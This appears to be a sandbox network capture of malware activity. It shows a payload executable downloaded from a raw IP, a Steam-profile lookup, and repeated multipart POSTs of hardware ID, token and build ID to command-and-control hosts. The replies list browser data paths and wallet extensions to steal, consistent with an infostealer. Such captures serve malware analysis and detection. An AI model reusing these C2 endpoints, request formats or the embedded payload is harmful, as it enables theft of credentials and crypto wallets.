Sep 25, 2024 18:01:00.632936954 CEST	1236	IN	Data Raw: 7c 24 00 00 04 12 02 02 28 0e 00 00 2b dd 55 00 00 00 02 7b 26 00 00 04 0c 02 7c 26 00 00 04 fe 15 07 00 00 01 02 15 25 0a 7d 23 00 00 04 12 02 28 2e 00 00 0a dd 1a 00 00 00 0d 02 1f fe 7d 23 00 00 04 02 7c 24 00 00 04 09 28 32 00 00 0a dd 13 00 Data Ascii: \|$(+U{&\|&%}#(.}#\|$(2}#\|$(310{'9s!{)}{(>9rp(([rp((\rp((`(a(
Sep 25, 2024 18:01:00.632982016 CEST	1236	IN	Data Raw: 1f fe 7d 2b 00 00 04 02 14 7d 2e 00 00 04 02 7c 2c 00 00 04 28 33 00 00 0a 2a 00 41 1c 00 00 00 00 00 00 07 00 00 00 f2 02 00 00 f9 02 00 00 23 00 00 00 31 00 00 01 1b 30 03 00 5d 00 00 00 07 00 00 11 02 7b 35 00 00 04 28 35 00 00 0a 28 17 00 00 Data Ascii: }+}.\|,(3A#10]{5(5(:{5s6%o7%rp(oA(8&8}3\|4(2BB10{69@{8(o-(0:?%}6
Sep 25, 2024 18:01:00.633017063 CEST	672	IN	Data Raw: 05 7d 43 00 00 04 02 7c 40 00 00 04 12 05 02 28 1c 00 00 2b dd ba 01 00 00 02 7b 43 00 00 04 13 05 02 7c 43 00 00 04 fe 15 0b 00 00 1b 02 15 25 0a 7d 3f 00 00 04 12 05 28 7f 00 00 0a 13 04 11 04 28 80 00 00 0a 3a 54 01 00 00 02 73 3c 00 00 06 7d Data Ascii: }C\|@(+{C\|C%}?((:Ts<}A{A(o(5(]}=s}D;O{D{A{=oo-(0:A%}?}E\|@(+{E\|E%}?
Sep 25, 2024 18:01:00.633053064 CEST	892	IN	Data Raw: 06 6f 7d 00 00 0a 13 04 12 04 28 7e 00 00 0a 3a 41 00 00 00 02 17 25 0a 7d 46 00 00 04 02 11 04 7d 49 00 00 04 02 7c 47 00 00 04 12 04 02 28 1e 00 00 2b dd 62 03 00 00 02 7b 49 00 00 04 13 04 02 7c 49 00 00 04 fe 15 0b 00 00 1b 02 15 25 0a 7d 46 Data Ascii: o}(~:A%}F}I\|G(+b{I\|I%}F(}H(9o}(~:A%}F}I\|G(+{I\|I%}F(ss%rp({Hot%rp(ot
Sep 25, 2024 18:01:00.633085966 CEST	1236	IN	Data Raw: 1a 00 00 00 02 1f fe 7d 46 00 00 04 02 14 7d 48 00 00 04 02 7c 47 00 00 04 28 33 00 00 0a 2a 41 34 00 00 02 00 00 00 f0 02 00 00 7a 00 00 00 6a 03 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 df 03 00 00 e6 03 00 00 23 00 00 00 31 00 00 Data Ascii: }F}H\|G(3*A4zj#10{P&9I~<rUp(oo}(~:?%}P}R\|Q(!+{R\|R%}P(ou&((o
Sep 25, 2024 18:01:00.633121967 CEST	1236	IN	Data Raw: 04 00 00 00 3a 00 00 00 97 00 00 00 f4 00 00 00 5f 01 00 00 28 34 00 00 06 6f 2d 00 00 0a 0b 12 01 28 30 00 00 0a 3a 3f 00 00 00 02 16 25 0a 7d 5c 00 00 04 02 07 7d 5e 00 00 04 02 7c 5d 00 00 04 12 01 02 28 26 00 00 2b dd 67 01 00 00 02 7b 5e 00 Data Ascii: :_(4o-(0:?%}\}^\|](&+g{^\|^%}\(.(6o-(0:?%}\}^\|](&+{^\|^%}\(.(5o-(0:?%}\}^
Sep 25, 2024 18:01:00.638093948 CEST	1236	IN	Data Raw: 00 20 05 00 00 05 00 07 00 08 00 03 01 10 00 7a 00 00 00 05 00 09 00 0b 00 03 01 10 00 ab 03 00 00 11 00 0b 00 0e 00 03 01 10 00 cd 03 00 00 11 00 0f 00 10 00 03 01 10 00 21 04 00 00 11 00 12 00 12 00 00 00 10 00 b5 04 02 05 05 00 19 00 14 00 03 Data Ascii: z!-!B#R"'#)Y'++-=3/61:3
Sep 25, 2024 18:01:03.072715998 CEST	192	OUT	GET /prog/66f4247d51812_lfdsjna.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 147.45.44.104 Cache-Control: no-cache
Sep 25, 2024 18:01:03.257937908 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:01:03 GMT Content-Type: application/octet-stream Content-Length: 377384 Last-Modified: Wed, 25 Sep 2024 14:55:57 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66f4247d-5c228" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 76 23 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 92 05 00 00 08 00 00 00 00 00 00 ee b0 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 b0 05 00 57 00 00 00 00 c0 05 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 9c 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 5c af 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELv#f @ `W(&\ H.text `.rsrc@@.reloc@BHM\=S!}St&Pi@2^-4N^IGXC:,<JI{y]cf4sO);xozdi0a4YZyR7U8fdL*eq71CWBmKL$f'O6,-Bh(l}H7$$qyb@g@B[1+sIrZodd]X6fH=#5Xe!U]}#Ov

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49740	172.67.74.152	80	5248	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 18:01:05.581626892 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Sep 25, 2024 18:01:06.050704956 CEST	227	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:06 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c8c3b1c7df443ec-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Sep 25, 2024 18:01:06.265398026 CEST	227	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:06 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c8c3b1c7df443ec-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49743	172.67.74.152	80	5248	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 18:01:07.135339975 CEST	63	OUT	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive
Sep 25, 2024 18:01:07.597520113 CEST	227	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 16:01:07 GMT Content-Type: text/plain Content-Length: 11 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c8c3b261b014294-EWR Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49745	45.132.206.251	80	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 18:01:09.220807076 CEST	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: cowod.hopto.org Content-Length: 3229 Connection: Keep-Alive Cache-Control: no-cache
Sep 25, 2024 18:01:09.225378990 CEST	3229	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 Data Ascii: ------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------HDAKJDHIEBFIID

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	104.102.49.254	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:20 UTC	119	OUT	GET /profiles/76561199780418869 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:20 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 25 Sep 2024 16:00:20 GMT Content-Length: 34725 Connection: close Set-Cookie: sessionid=aec22d50b62c4cbda19dc14c; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-25 16:00:20 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-25 16:00:20 UTC	16384	IN	Data Raw: 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e Data Ascii: enDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="n
2024-09-25 16:00:20 UTC	3768	IN	Data Raw: 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f Data Ascii: vate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div></div></div></
2024-09-25 16:00:20 UTC	59	IN	Data Raw: 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: </div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:21 UTC	185	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:23 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:24 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:24 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 32 36 41 30 34 32 43 42 43 39 33 33 31 35 38 38 32 31 30 39 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 2d 2d 0d Data Ascii: ------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="hwid"726A042CBC933158821099-a33c7340-61ca------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------HJEHIJEBKEBFBFHIIDHI--
2024-09-25 16:00:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:24 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|439f0e0a3a749bfbbd57a3bb2fdbeb34\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:25 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:25 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------GIIEGHIDBGHIECAAECGDCont
2024-09-25 16:00:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:26 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:26 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKEC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:26 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------FCBAECGIEBKKFHIDAKECCont
2024-09-25 16:00:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:27 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49717	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:28 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:28 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; 